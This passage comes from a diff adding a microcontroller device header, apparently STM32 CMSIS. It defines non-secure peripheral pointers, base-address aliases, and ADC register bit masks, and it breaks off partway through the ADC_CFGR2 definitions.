+#define LPTIM2_NS ((LPTIM_TypeDef *)LPTIM2_BASE_NS) +#define FDCAN1_NS ((FDCAN_GlobalTypeDef *)FDCAN1_BASE_NS) +#define FDCAN_CONFIG_NS ((FDCAN_Config_TypeDef *)FDCAN_CONFIG_BASE_NS) + +/*!< APB2 Non secure peripherals */ +#define TIM1_NS ((TIM_TypeDef *) TIM1_BASE_NS) +#define SPI1_NS ((SPI_TypeDef *) SPI1_BASE_NS) +#define USART1_NS ((USART_TypeDef *) USART1_BASE_NS) +#define USB_DRD_FS_NS ((USB_DRD_TypeDef *) USB_DRD_BASE_NS) +#define USB_DRD_PMA_BUFF_NS ((USB_DRD_PMABuffDescTypeDef *) USB_DRD_PMAADDR_NS) + +/*!< AHB1 Non secure peripherals */ +#define GPDMA1_NS ((DMA_TypeDef *) GPDMA1_BASE_NS) +#define GPDMA2_NS ((DMA_TypeDef *) GPDMA2_BASE_NS) +#define FLASH_NS ((FLASH_TypeDef *) FLASH_R_BASE_NS) +#define CRC_NS ((CRC_TypeDef *) CRC_BASE_NS) +#define RAMCFG_SRAM1_NS ((RAMCFG_TypeDef *) RAMCFG_SRAM1_BASE_NS) +#define RAMCFG_SRAM2_NS ((RAMCFG_TypeDef *) RAMCFG_SRAM2_BASE_NS) +#define RAMCFG_BKPRAM_NS ((RAMCFG_TypeDef *) RAMCFG_BKPRAM_BASE_NS) +#define ICACHE_NS ((ICACHE_TypeDef *) ICACHE_BASE_NS) +#define GTZC_TZSC1_NS ((GTZC_TZSC_TypeDef *) GTZC_TZSC1_BASE_NS) +#define GTZC_MPCBB1_NS ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB1_BASE_NS) +#define GTZC_MPCBB2_NS ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB2_BASE_NS) +#define GPDMA1_Channel0_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel0_BASE_NS) +#define GPDMA1_Channel1_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel1_BASE_NS) +#define GPDMA1_Channel2_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel2_BASE_NS) +#define GPDMA1_Channel3_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel3_BASE_NS) +#define GPDMA1_Channel4_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel4_BASE_NS) +#define GPDMA1_Channel5_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel5_BASE_NS) +#define GPDMA1_Channel6_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel6_BASE_NS) +#define GPDMA1_Channel7_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel7_BASE_NS) +#define GPDMA2_Channel0_NS ((DMA_Channel_TypeDef *) GPDMA2_Channel0_BASE_NS) +#define GPDMA2_Channel1_NS ((DMA_Channel_TypeDef *) GPDMA2_Channel1_BASE_NS) +#define GPDMA2_Channel2_NS ((DMA_Channel_TypeDef *) GPDMA2_Channel2_BASE_NS) +#define GPDMA2_Channel3_NS ((DMA_Channel_TypeDef *) GPDMA2_Channel3_BASE_NS) +#define GPDMA2_Channel4_NS ((DMA_Channel_TypeDef *) GPDMA2_Channel4_BASE_NS) +#define GPDMA2_Channel5_NS ((DMA_Channel_TypeDef *) GPDMA2_Channel5_BASE_NS) +#define GPDMA2_Channel6_NS ((DMA_Channel_TypeDef *) GPDMA2_Channel6_BASE_NS) +#define GPDMA2_Channel7_NS ((DMA_Channel_TypeDef *) GPDMA2_Channel7_BASE_NS) + +/*!< AHB2 Non secure peripherals */ +#define GPIOA_NS ((GPIO_TypeDef *) GPIOA_BASE_NS) +#define GPIOB_NS ((GPIO_TypeDef *) GPIOB_BASE_NS) +#define GPIOC_NS ((GPIO_TypeDef *) GPIOC_BASE_NS) +#define GPIOD_NS ((GPIO_TypeDef *) GPIOD_BASE_NS) +#define GPIOH_NS ((GPIO_TypeDef *) GPIOH_BASE_NS) +#define ADC1_NS ((ADC_TypeDef *) ADC1_BASE_NS) +#define ADC12_COMMON_NS ((ADC_Common_TypeDef *) ADC12_COMMON_BASE_NS) +#define DAC1_NS ((DAC_TypeDef *) DAC1_BASE_NS) +#define HASH_NS ((HASH_TypeDef *) HASH_BASE_NS) +#define HASH_DIGEST_NS ((HASH_DIGEST_TypeDef *) HASH_DIGEST_BASE_NS) +#define RNG_NS ((RNG_TypeDef *) RNG_BASE_NS) + + +/*!< APB3 Non secure peripherals */ +#define SBS_NS ((SBS_TypeDef *) SBS_BASE_NS) +#define LPUART1_NS ((USART_TypeDef *) LPUART1_BASE_NS) +#define I3C2_NS ((I3C_TypeDef *) I3C2_BASE_NS) +#define LPTIM1_NS ((LPTIM_TypeDef *) LPTIM1_BASE_NS) +#define RTC_NS ((RTC_TypeDef *) RTC_BASE_NS) +#define TAMP_NS ((TAMP_TypeDef *) TAMP_BASE_NS) + +/*!< AHB3 Non secure peripherals */ +#define PWR_NS ((PWR_TypeDef *) PWR_BASE_NS) +#define RCC_NS ((RCC_TypeDef *) RCC_BASE_NS) +#define EXTI_NS ((EXTI_TypeDef *) EXTI_BASE_NS) + + +#define DBGMCU ((DBGMCU_TypeDef *) DBGMCU_BASE) + + +/*!< Memory base addresses for Non secure peripherals */ +#define FLASH_BASE FLASH_BASE_NS +#define FLASH_SYSTEM_BASE FLASH_SYSTEM_BASE_NS +#define SRAM1_BASE SRAM1_BASE_NS +#define SRAM2_BASE SRAM2_BASE_NS +#define BKPSRAM_BASE BKPSRAM_BASE_NS + +#define PERIPH_BASE PERIPH_BASE_NS +#define APB1PERIPH_BASE APB1PERIPH_BASE_NS +#define APB2PERIPH_BASE APB2PERIPH_BASE_NS +#define APB3PERIPH_BASE APB3PERIPH_BASE_NS +#define AHB1PERIPH_BASE AHB1PERIPH_BASE_NS +#define AHB2PERIPH_BASE AHB2PERIPH_BASE_NS +#define AHB3PERIPH_BASE AHB3PERIPH_BASE_NS + +/*!< Instance aliases and base addresses for Non secure peripherals */ +#define RCC RCC_NS +#define RCC_BASE RCC_BASE_NS + +#define DTS DTS_NS +#define DTS_BASE DTS_BASE_NS + +#define FLASH FLASH_NS +#define FLASH_R_BASE FLASH_R_BASE_NS + +#define GPDMA1 GPDMA1_NS +#define GPDMA1_BASE GPDMA1_BASE_NS + +#define GPDMA1_Channel0 GPDMA1_Channel0_NS +#define GPDMA1_Channel0_BASE GPDMA1_Channel0_BASE_NS + +#define GPDMA1_Channel1 GPDMA1_Channel1_NS +#define GPDMA1_Channel1_BASE GPDMA1_Channel1_BASE_NS + +#define GPDMA1_Channel2 GPDMA1_Channel2_NS +#define GPDMA1_Channel2_BASE GPDMA1_Channel2_BASE_NS + +#define GPDMA1_Channel3 GPDMA1_Channel3_NS +#define GPDMA1_Channel3_BASE GPDMA1_Channel3_BASE_NS + +#define GPDMA1_Channel4 GPDMA1_Channel4_NS +#define GPDMA1_Channel4_BASE GPDMA1_Channel4_BASE_NS + +#define GPDMA1_Channel5 GPDMA1_Channel5_NS +#define GPDMA1_Channel5_BASE GPDMA1_Channel5_BASE_NS + +#define GPDMA1_Channel6 GPDMA1_Channel6_NS +#define GPDMA1_Channel6_BASE GPDMA1_Channel6_BASE_NS + +#define GPDMA1_Channel7 GPDMA1_Channel7_NS +#define GPDMA1_Channel7_BASE GPDMA1_Channel7_BASE_NS + +#define GPDMA2 GPDMA2_NS +#define GPDMA2_BASE GPDMA2_BASE_NS + +#define GPDMA2_Channel0 GPDMA2_Channel0_NS +#define GPDMA2_Channel0_BASE GPDMA2_Channel0_BASE_NS + +#define GPDMA2_Channel1 GPDMA2_Channel1_NS +#define GPDMA2_Channel1_BASE GPDMA2_Channel1_BASE_NS + +#define GPDMA2_Channel2 GPDMA2_Channel2_NS +#define GPDMA2_Channel2_BASE GPDMA2_Channel2_BASE_NS + +#define GPDMA2_Channel3 GPDMA2_Channel3_NS +#define GPDMA2_Channel3_BASE GPDMA2_Channel3_BASE_NS + +#define GPDMA2_Channel4 GPDMA2_Channel4_NS +#define GPDMA2_Channel4_BASE GPDMA2_Channel4_BASE_NS + +#define GPDMA2_Channel5 GPDMA2_Channel5_NS +#define GPDMA2_Channel5_BASE GPDMA2_Channel5_BASE_NS + +#define GPDMA2_Channel6 GPDMA2_Channel6_NS +#define GPDMA2_Channel6_BASE GPDMA2_Channel6_BASE_NS + +#define GPDMA2_Channel7 GPDMA2_Channel7_NS +#define GPDMA2_Channel7_BASE GPDMA2_Channel7_BASE_NS + +#define GPIOA GPIOA_NS +#define GPIOA_BASE GPIOA_BASE_NS + +#define GPIOB GPIOB_NS +#define GPIOB_BASE GPIOB_BASE_NS + +#define GPIOC GPIOC_NS +#define GPIOC_BASE GPIOC_BASE_NS + +#define GPIOD GPIOD_NS +#define GPIOD_BASE GPIOD_BASE_NS + +#define GPIOH GPIOH_NS +#define GPIOH_BASE GPIOH_BASE_NS + +#define PWR PWR_NS +#define PWR_BASE PWR_BASE_NS + +#define RAMCFG_SRAM1 RAMCFG_SRAM1_NS +#define RAMCFG_SRAM1_BASE RAMCFG_SRAM1_BASE_NS + +#define RAMCFG_SRAM2 RAMCFG_SRAM2_NS +#define RAMCFG_SRAM2_BASE RAMCFG_SRAM2_BASE_NS + +#define RAMCFG_BKPRAM RAMCFG_BKPRAM_NS +#define RAMCFG_BKPRAM_BASE RAMCFG_BKPRAM_BASE_NS + +#define EXTI EXTI_NS +#define EXTI_BASE EXTI_BASE_NS + +#define ICACHE ICACHE_NS +#define ICACHE_BASE ICACHE_BASE_NS + +#define GTZC_TZSC1 GTZC_TZSC1_NS +#define GTZC_TZSC1_BASE GTZC_TZSC1_BASE_NS + +#define GTZC_MPCBB1 GTZC_MPCBB1_NS +#define GTZC_MPCBB1_BASE GTZC_MPCBB1_BASE_NS + +#define GTZC_MPCBB2 GTZC_MPCBB2_NS +#define GTZC_MPCBB2_BASE GTZC_MPCBB2_BASE_NS + +#define RTC RTC_NS +#define RTC_BASE RTC_BASE_NS + +#define TAMP TAMP_NS +#define TAMP_BASE TAMP_BASE_NS + +#define TIM1 TIM1_NS +#define TIM1_BASE TIM1_BASE_NS + +#define TIM2 TIM2_NS +#define TIM2_BASE TIM2_BASE_NS + +#define TIM3 TIM3_NS +#define TIM3_BASE TIM3_BASE_NS + +#define TIM6 TIM6_NS +#define TIM6_BASE TIM6_BASE_NS + +#define TIM7 TIM7_NS +#define TIM7_BASE TIM7_BASE_NS + +#define WWDG WWDG_NS +#define WWDG_BASE WWDG_BASE_NS + +#define IWDG IWDG_NS +#define IWDG_BASE IWDG_BASE_NS + +#define OPAMP1 OPAMP1_NS +#define OPAMP1_BASE OPAMP1_BASE_NS + +#define SPI1 SPI1_NS +#define SPI1_BASE SPI1_BASE_NS + +#define SPI2 SPI2_NS +#define SPI2_BASE SPI2_BASE_NS + +#define SPI3 SPI3_NS +#define SPI3_BASE SPI3_BASE_NS + +#define COMP1 COMP1_NS +#define COMP1_BASE COMP1_BASE_NS + +#define USART1 USART1_NS +#define USART1_BASE USART1_BASE_NS + +#define USART2 USART2_NS +#define USART2_BASE USART2_BASE_NS + +#define USART3 USART3_NS +#define USART3_BASE USART3_BASE_NS + +#define I2C1 I2C1_NS +#define I2C1_BASE I2C1_BASE_NS + +#define I2C2 I2C2_NS +#define I2C2_BASE I2C2_BASE_NS + +#define I3C1 I3C1_NS +#define I3C1_BASE I3C1_BASE_NS + +#define I3C2 I3C2_NS +#define I3C2_BASE I3C2_BASE_NS + +#define CRS CRS_NS +#define CRS_BASE CRS_BASE_NS + +#define FDCAN1 FDCAN1_NS +#define FDCAN1_BASE FDCAN1_BASE_NS + +#define FDCAN_CONFIG FDCAN_CONFIG_NS +#define FDCAN_CONFIG_BASE FDCAN_CONFIG_BASE_NS +#define SRAMCAN_BASE SRAMCAN_BASE_NS + +#define DAC1 DAC1_NS +#define DAC1_BASE DAC1_BASE_NS + +#define LPTIM1 LPTIM1_NS +#define LPTIM1_BASE LPTIM1_BASE_NS + +#define LPTIM2 LPTIM2_NS +#define LPTIM2_BASE LPTIM2_BASE_NS + +#define LPUART1 LPUART1_NS +#define LPUART1_BASE LPUART1_BASE_NS + +#define SBS SBS_NS +#define SBS_BASE SBS_BASE_NS + +#define USB_DRD_FS USB_DRD_FS_NS +#define USB_DRD_FS_BASE USB_DRD_BASE_NS +#define USB_DRD_PMAADDR USB_DRD_PMAADDR_NS +#define USB_DRD_PMA_BUFF USB_DRD_PMA_BUFF_NS + +#define CRC CRC_NS +#define CRC_BASE CRC_BASE_NS + +#define ADC1 ADC1_NS +#define ADC1_BASE ADC1_BASE_NS + +#define ADC12_COMMON ADC12_COMMON_NS +#define ADC12_COMMON_BASE ADC12_COMMON_BASE_NS + +#define HASH HASH_NS +#define HASH_BASE HASH_BASE_NS + +#define HASH_DIGEST HASH_DIGEST_NS +#define HASH_DIGEST_BASE HASH_DIGEST_BASE_NS + +#define RNG RNG_NS +#define RNG_BASE RNG_BASE_NS + + +/******************************************************************************/ +/* */ +/* Analog to Digital Converter */ +/* */ +/******************************************************************************/ +/******************** Bit definition for ADC_ISR register *******************/ +#define ADC_ISR_ADRDY_Pos (0U) +#define ADC_ISR_ADRDY_Msk (0x1UL << ADC_ISR_ADRDY_Pos) /*!< 0x00000001 */ +#define ADC_ISR_ADRDY ADC_ISR_ADRDY_Msk /*!< ADC ready flag */ +#define ADC_ISR_EOSMP_Pos (1U) +#define ADC_ISR_EOSMP_Msk (0x1UL << ADC_ISR_EOSMP_Pos) /*!< 0x00000002 */ +#define ADC_ISR_EOSMP ADC_ISR_EOSMP_Msk /*!< ADC group regular end of sampling flag */ +#define ADC_ISR_EOC_Pos (2U) +#define ADC_ISR_EOC_Msk (0x1UL << ADC_ISR_EOC_Pos) /*!< 0x00000004 */ +#define ADC_ISR_EOC ADC_ISR_EOC_Msk /*!< ADC group regular end of unitary conversion flag */ +#define ADC_ISR_EOS_Pos (3U) +#define ADC_ISR_EOS_Msk (0x1UL << ADC_ISR_EOS_Pos) /*!< 0x00000008 */ +#define ADC_ISR_EOS ADC_ISR_EOS_Msk /*!< ADC group regular end of sequence conversions flag */ +#define ADC_ISR_OVR_Pos (4U) +#define ADC_ISR_OVR_Msk (0x1UL << ADC_ISR_OVR_Pos) /*!< 0x00000010 */ +#define ADC_ISR_OVR ADC_ISR_OVR_Msk /*!< ADC group regular overrun flag */ +#define ADC_ISR_JEOC_Pos (5U) +#define ADC_ISR_JEOC_Msk (0x1UL << ADC_ISR_JEOC_Pos) /*!< 0x00000020 */ +#define ADC_ISR_JEOC ADC_ISR_JEOC_Msk /*!< ADC group injected end of unitary conversion flag */ +#define ADC_ISR_JEOS_Pos (6U) +#define ADC_ISR_JEOS_Msk (0x1UL << ADC_ISR_JEOS_Pos) /*!< 0x00000040 */ +#define ADC_ISR_JEOS ADC_ISR_JEOS_Msk /*!< ADC group injected end of sequence conversions flag */ +#define ADC_ISR_AWD1_Pos (7U) +#define ADC_ISR_AWD1_Msk (0x1UL << ADC_ISR_AWD1_Pos) /*!< 0x00000080 */ +#define ADC_ISR_AWD1 ADC_ISR_AWD1_Msk /*!< ADC analog watchdog 1 flag */ +#define ADC_ISR_AWD2_Pos (8U) +#define ADC_ISR_AWD2_Msk (0x1UL << ADC_ISR_AWD2_Pos) /*!< 0x00000100 */ +#define ADC_ISR_AWD2 ADC_ISR_AWD2_Msk /*!< ADC analog watchdog 2 flag */ +#define ADC_ISR_AWD3_Pos (9U) +#define ADC_ISR_AWD3_Msk (0x1UL << ADC_ISR_AWD3_Pos) /*!< 0x00000200 */ +#define ADC_ISR_AWD3 ADC_ISR_AWD3_Msk /*!< ADC analog watchdog 3 flag */ +#define ADC_ISR_JQOVF_Pos (10U) +#define ADC_ISR_JQOVF_Msk (0x1UL << ADC_ISR_JQOVF_Pos) /*!< 0x00000400 */ +#define ADC_ISR_JQOVF ADC_ISR_JQOVF_Msk /*!< ADC group injected contexts queue overflow flag */ + +/******************** Bit definition for ADC_IER register *******************/ +#define ADC_IER_ADRDYIE_Pos (0U) +#define ADC_IER_ADRDYIE_Msk (0x1UL << ADC_IER_ADRDYIE_Pos) /*!< 0x00000001 */ +#define ADC_IER_ADRDYIE ADC_IER_ADRDYIE_Msk /*!< ADC ready interrupt */ +#define ADC_IER_EOSMPIE_Pos (1U) +#define ADC_IER_EOSMPIE_Msk (0x1UL << ADC_IER_EOSMPIE_Pos) /*!< 0x00000002 */ +#define ADC_IER_EOSMPIE ADC_IER_EOSMPIE_Msk /*!< ADC group regular end of sampling interrupt */ +#define ADC_IER_EOCIE_Pos (2U) +#define ADC_IER_EOCIE_Msk (0x1UL << ADC_IER_EOCIE_Pos) /*!< 0x00000004 */ +#define ADC_IER_EOCIE ADC_IER_EOCIE_Msk /*!< ADC group regular end of unitary conversion interrupt */ +#define ADC_IER_EOSIE_Pos (3U) +#define ADC_IER_EOSIE_Msk (0x1UL << ADC_IER_EOSIE_Pos) /*!< 0x00000008 */ +#define ADC_IER_EOSIE ADC_IER_EOSIE_Msk /*!< ADC group regular end of sequence conversions interrupt */ +#define ADC_IER_OVRIE_Pos (4U) +#define ADC_IER_OVRIE_Msk (0x1UL << ADC_IER_OVRIE_Pos) /*!< 0x00000010 */ +#define ADC_IER_OVRIE ADC_IER_OVRIE_Msk /*!< ADC group regular overrun interrupt */ +#define ADC_IER_JEOCIE_Pos (5U) +#define ADC_IER_JEOCIE_Msk (0x1UL << ADC_IER_JEOCIE_Pos) /*!< 0x00000020 */ +#define ADC_IER_JEOCIE ADC_IER_JEOCIE_Msk /*!< ADC group injected end of unitary conversion interrupt */ +#define ADC_IER_JEOSIE_Pos (6U) +#define ADC_IER_JEOSIE_Msk (0x1UL << ADC_IER_JEOSIE_Pos) /*!< 0x00000040 */ +#define ADC_IER_JEOSIE ADC_IER_JEOSIE_Msk /*!< ADC group injected end of sequence conversions interrupt */ +#define ADC_IER_AWD1IE_Pos (7U) +#define ADC_IER_AWD1IE_Msk (0x1UL << ADC_IER_AWD1IE_Pos) /*!< 0x00000080 */ +#define ADC_IER_AWD1IE ADC_IER_AWD1IE_Msk /*!< ADC analog watchdog 1 interrupt */ +#define ADC_IER_AWD2IE_Pos (8U) +#define ADC_IER_AWD2IE_Msk (0x1UL << ADC_IER_AWD2IE_Pos) /*!< 0x00000100 */ +#define ADC_IER_AWD2IE ADC_IER_AWD2IE_Msk /*!< ADC analog watchdog 2 interrupt */ +#define ADC_IER_AWD3IE_Pos (9U) +#define ADC_IER_AWD3IE_Msk (0x1UL << ADC_IER_AWD3IE_Pos) /*!< 0x00000200 */ +#define ADC_IER_AWD3IE ADC_IER_AWD3IE_Msk /*!< ADC analog watchdog 3 interrupt */ +#define ADC_IER_JQOVFIE_Pos (10U) +#define ADC_IER_JQOVFIE_Msk (0x1UL << ADC_IER_JQOVFIE_Pos) /*!< 0x00000400 */ +#define ADC_IER_JQOVFIE ADC_IER_JQOVFIE_Msk /*!< ADC group injected contexts queue overflow interrupt */ + +/******************** Bit definition for ADC_CR register ********************/ +#define ADC_CR_ADEN_Pos (0U) +#define ADC_CR_ADEN_Msk (0x1UL << ADC_CR_ADEN_Pos) /*!< 0x00000001 */ +#define ADC_CR_ADEN ADC_CR_ADEN_Msk /*!< ADC enable */ +#define ADC_CR_ADDIS_Pos (1U) +#define ADC_CR_ADDIS_Msk (0x1UL << ADC_CR_ADDIS_Pos) /*!< 0x00000002 */ +#define ADC_CR_ADDIS ADC_CR_ADDIS_Msk /*!< ADC disable */ +#define ADC_CR_ADSTART_Pos (2U) +#define ADC_CR_ADSTART_Msk (0x1UL << ADC_CR_ADSTART_Pos) /*!< 0x00000004 */ +#define ADC_CR_ADSTART ADC_CR_ADSTART_Msk /*!< ADC group regular conversion start */ +#define ADC_CR_JADSTART_Pos (3U) +#define ADC_CR_JADSTART_Msk (0x1UL << ADC_CR_JADSTART_Pos) /*!< 0x00000008 */ +#define ADC_CR_JADSTART ADC_CR_JADSTART_Msk /*!< ADC group injected conversion start */ +#define ADC_CR_ADSTP_Pos (4U) +#define ADC_CR_ADSTP_Msk (0x1UL << ADC_CR_ADSTP_Pos) /*!< 0x00000010 */ +#define ADC_CR_ADSTP ADC_CR_ADSTP_Msk /*!< ADC group regular conversion stop */ +#define ADC_CR_JADSTP_Pos (5U) +#define ADC_CR_JADSTP_Msk (0x1UL << ADC_CR_JADSTP_Pos) /*!< 0x00000020 */ +#define ADC_CR_JADSTP ADC_CR_JADSTP_Msk /*!< ADC group injected conversion stop */ +#define ADC_CR_ADVREGEN_Pos (28U) +#define ADC_CR_ADVREGEN_Msk (0x1UL << ADC_CR_ADVREGEN_Pos) /*!< 0x10000000 */ +#define ADC_CR_ADVREGEN ADC_CR_ADVREGEN_Msk /*!< ADC voltage regulator enable */ +#define ADC_CR_DEEPPWD_Pos (29U) +#define ADC_CR_DEEPPWD_Msk (0x1UL << ADC_CR_DEEPPWD_Pos) /*!< 0x20000000 */ +#define ADC_CR_DEEPPWD ADC_CR_DEEPPWD_Msk /*!< ADC deep power down enable */ +#define ADC_CR_ADCALDIF_Pos (30U) +#define ADC_CR_ADCALDIF_Msk (0x1UL << ADC_CR_ADCALDIF_Pos) /*!< 0x40000000 */ +#define ADC_CR_ADCALDIF ADC_CR_ADCALDIF_Msk /*!< ADC differential mode for calibration */ +#define ADC_CR_ADCAL_Pos (31U) +#define ADC_CR_ADCAL_Msk (0x1UL << ADC_CR_ADCAL_Pos) /*!< 0x80000000 */ +#define ADC_CR_ADCAL ADC_CR_ADCAL_Msk /*!< ADC calibration */ + +/******************** Bit definition for ADC_CFGR register ******************/ +#define ADC_CFGR_DMAEN_Pos (0U) +#define ADC_CFGR_DMAEN_Msk (0x1UL << ADC_CFGR_DMAEN_Pos) /*!< 0x00000001 */ +#define ADC_CFGR_DMAEN ADC_CFGR_DMAEN_Msk /*!< ADC DMA transfer enable */ +#define ADC_CFGR_DMACFG_Pos (1U) +#define ADC_CFGR_DMACFG_Msk (0x1UL << ADC_CFGR_DMACFG_Pos) /*!< 0x00000002 */ +#define ADC_CFGR_DMACFG ADC_CFGR_DMACFG_Msk /*!< ADC DMA transfer configuration */ + +#define ADC_CFGR_RES_Pos (3U) +#define ADC_CFGR_RES_Msk (0x3UL << ADC_CFGR_RES_Pos) /*!< 0x00000018 */ +#define ADC_CFGR_RES ADC_CFGR_RES_Msk /*!< ADC data resolution */ +#define ADC_CFGR_RES_0 (0x1UL << ADC_CFGR_RES_Pos) /*!< 0x00000008 */ +#define ADC_CFGR_RES_1 (0x2UL << ADC_CFGR_RES_Pos) /*!< 0x00000010 */ + +#define ADC_CFGR_EXTSEL_Pos (5U) +#define ADC_CFGR_EXTSEL_Msk (0x1FUL << ADC_CFGR_EXTSEL_Pos) /*!< 0x000003E0 */ +#define ADC_CFGR_EXTSEL ADC_CFGR_EXTSEL_Msk /*!< ADC group regular external trigger source */ +#define ADC_CFGR_EXTSEL_0 (0x1UL << ADC_CFGR_EXTSEL_Pos) /*!< 0x00000020 */ +#define ADC_CFGR_EXTSEL_1 (0x2UL << ADC_CFGR_EXTSEL_Pos) /*!< 0x00000040 */ +#define ADC_CFGR_EXTSEL_2 (0x4UL << ADC_CFGR_EXTSEL_Pos) /*!< 0x00000080 */ +#define ADC_CFGR_EXTSEL_3 (0x8UL << ADC_CFGR_EXTSEL_Pos) /*!< 0x00000100 */ +#define ADC_CFGR_EXTSEL_4 (0x10UL << ADC_CFGR_EXTSEL_Pos) /*!< 0x00000200 */ + +#define ADC_CFGR_EXTEN_Pos (10U) +#define ADC_CFGR_EXTEN_Msk (0x3UL << ADC_CFGR_EXTEN_Pos) /*!< 0x00000C00 */ +#define ADC_CFGR_EXTEN ADC_CFGR_EXTEN_Msk /*!< ADC group regular external trigger polarity */ +#define ADC_CFGR_EXTEN_0 (0x1UL << ADC_CFGR_EXTEN_Pos) /*!< 0x00000400 */ +#define ADC_CFGR_EXTEN_1 (0x2UL << ADC_CFGR_EXTEN_Pos) /*!< 0x00000800 */ + +#define ADC_CFGR_OVRMOD_Pos (12U) +#define ADC_CFGR_OVRMOD_Msk (0x1UL << ADC_CFGR_OVRMOD_Pos) /*!< 0x00001000 */ +#define ADC_CFGR_OVRMOD ADC_CFGR_OVRMOD_Msk /*!< ADC group regular overrun configuration */ +#define ADC_CFGR_CONT_Pos (13U) +#define ADC_CFGR_CONT_Msk (0x1UL << ADC_CFGR_CONT_Pos) /*!< 0x00002000 */ +#define ADC_CFGR_CONT ADC_CFGR_CONT_Msk /*!< ADC group regular continuous conversion mode */ +#define ADC_CFGR_AUTDLY_Pos (14U) +#define ADC_CFGR_AUTDLY_Msk (0x1UL << ADC_CFGR_AUTDLY_Pos) /*!< 0x00004000 */ +#define ADC_CFGR_AUTDLY ADC_CFGR_AUTDLY_Msk /*!< ADC low power auto wait */ +#define ADC_CFGR_ALIGN_Pos (15U) +#define ADC_CFGR_ALIGN_Msk (0x1UL << ADC_CFGR_ALIGN_Pos) /*!< 0x00008000 */ +#define ADC_CFGR_ALIGN ADC_CFGR_ALIGN_Msk /*!< ADC data alignment */ +#define ADC_CFGR_DISCEN_Pos (16U) +#define ADC_CFGR_DISCEN_Msk (0x1UL << ADC_CFGR_DISCEN_Pos) /*!< 0x00010000 */ +#define ADC_CFGR_DISCEN ADC_CFGR_DISCEN_Msk /*!< ADC group regular sequencer discontinuous mode */ + +#define ADC_CFGR_DISCNUM_Pos (17U) +#define ADC_CFGR_DISCNUM_Msk (0x7UL << ADC_CFGR_DISCNUM_Pos) /*!< 0x000E0000 */ +#define ADC_CFGR_DISCNUM ADC_CFGR_DISCNUM_Msk /*!< ADC group regular sequencer discontinuous number of ranks */ +#define ADC_CFGR_DISCNUM_0 (0x1UL << ADC_CFGR_DISCNUM_Pos) /*!< 0x00020000 */ +#define ADC_CFGR_DISCNUM_1 (0x2UL << ADC_CFGR_DISCNUM_Pos) /*!< 0x00040000 */ +#define ADC_CFGR_DISCNUM_2 (0x4UL << ADC_CFGR_DISCNUM_Pos) /*!< 0x00080000 */ + +#define ADC_CFGR_JDISCEN_Pos (20U) +#define ADC_CFGR_JDISCEN_Msk (0x1UL << ADC_CFGR_JDISCEN_Pos) /*!< 0x00100000 */ +#define ADC_CFGR_JDISCEN ADC_CFGR_JDISCEN_Msk /*!< ADC group injected sequencer discontinuous mode */ +#define ADC_CFGR_JQM_Pos (21U) +#define ADC_CFGR_JQM_Msk (0x1UL << ADC_CFGR_JQM_Pos) /*!< 0x00200000 */ +#define ADC_CFGR_JQM ADC_CFGR_JQM_Msk /*!< ADC group injected contexts queue mode */ +#define ADC_CFGR_AWD1SGL_Pos (22U) +#define ADC_CFGR_AWD1SGL_Msk (0x1UL << ADC_CFGR_AWD1SGL_Pos) /*!< 0x00400000 */ +#define ADC_CFGR_AWD1SGL ADC_CFGR_AWD1SGL_Msk /*!< ADC analog watchdog 1 monitoring a single channel or all channels */ +#define ADC_CFGR_AWD1EN_Pos (23U) +#define ADC_CFGR_AWD1EN_Msk (0x1UL << ADC_CFGR_AWD1EN_Pos) /*!< 0x00800000 */ +#define ADC_CFGR_AWD1EN ADC_CFGR_AWD1EN_Msk /*!< ADC analog watchdog 1 enable on scope ADC group regular */ +#define ADC_CFGR_JAWD1EN_Pos (24U) +#define ADC_CFGR_JAWD1EN_Msk (0x1UL << ADC_CFGR_JAWD1EN_Pos) /*!< 0x01000000 */ +#define ADC_CFGR_JAWD1EN ADC_CFGR_JAWD1EN_Msk /*!< ADC analog watchdog 1 enable on scope ADC group injected */ +#define ADC_CFGR_JAUTO_Pos (25U) +#define ADC_CFGR_JAUTO_Msk (0x1UL << ADC_CFGR_JAUTO_Pos) /*!< 0x02000000 */ +#define ADC_CFGR_JAUTO ADC_CFGR_JAUTO_Msk /*!< ADC group injected automatic trigger mode */ + +#define ADC_CFGR_AWD1CH_Pos (26U) +#define ADC_CFGR_AWD1CH_Msk (0x1FUL << ADC_CFGR_AWD1CH_Pos) /*!< 0x7C000000 */ +#define ADC_CFGR_AWD1CH ADC_CFGR_AWD1CH_Msk /*!< ADC analog watchdog 1 monitored channel selection */ +#define ADC_CFGR_AWD1CH_0 (0x01UL << ADC_CFGR_AWD1CH_Pos) /*!< 0x04000000 */ +#define ADC_CFGR_AWD1CH_1 (0x02UL << ADC_CFGR_AWD1CH_Pos) /*!< 0x08000000 */ +#define ADC_CFGR_AWD1CH_2 (0x04UL << ADC_CFGR_AWD1CH_Pos) /*!< 0x10000000 */ +#define ADC_CFGR_AWD1CH_3 (0x08UL << ADC_CFGR_AWD1CH_Pos) /*!< 0x20000000 */ +#define ADC_CFGR_AWD1CH_4 (0x10UL << ADC_CFGR_AWD1CH_Pos) /*!< 0x40000000 */ + +#define ADC_CFGR_JQDIS_Pos (31U) +#define ADC_CFGR_JQDIS_Msk (0x1UL << ADC_CFGR_JQDIS_Pos) /*!< 0x80000000 */ +#define ADC_CFGR_JQDIS ADC_CFGR_JQDIS_Msk /*!< ADC group injected contexts queue disable */ + +/******************** Bit definition for ADC_CFGR2 register *****************/ +#define ADC_CFGR2_ROVSE_Pos (0U) +#define ADC_CFGR2_ROVSE_Msk (0x1UL << ADC_CFGR2_ROVSE_Pos) /*!< 0x00000001 */ +#define ADC_CFGR2_ROVSE ADC_CFGR2_ROVSE_Msk /*!< ADC oversampler enable on scope ADC group regular */ +#define ADC_CFGR2_JOVSE_Pos (1U) +#define ADC_CFGR2_JOVSE_Msk (0x1UL << ADC_CFGR2_JOVSE_Pos) /*!< 0x00000002 */ +#define ADC_CFGR2_JOVSE ADC_CFGR2_JOVSE_Msk /*!< ADC oversampler enable on scope ADC group injected */ + +#define ADC_CFGR2_OVSR_Pos (2U) +#define ADC_CFGR2_OVSR_Msk (0x7UL << ADC_CFGR2_OVSR_Pos) /*!< 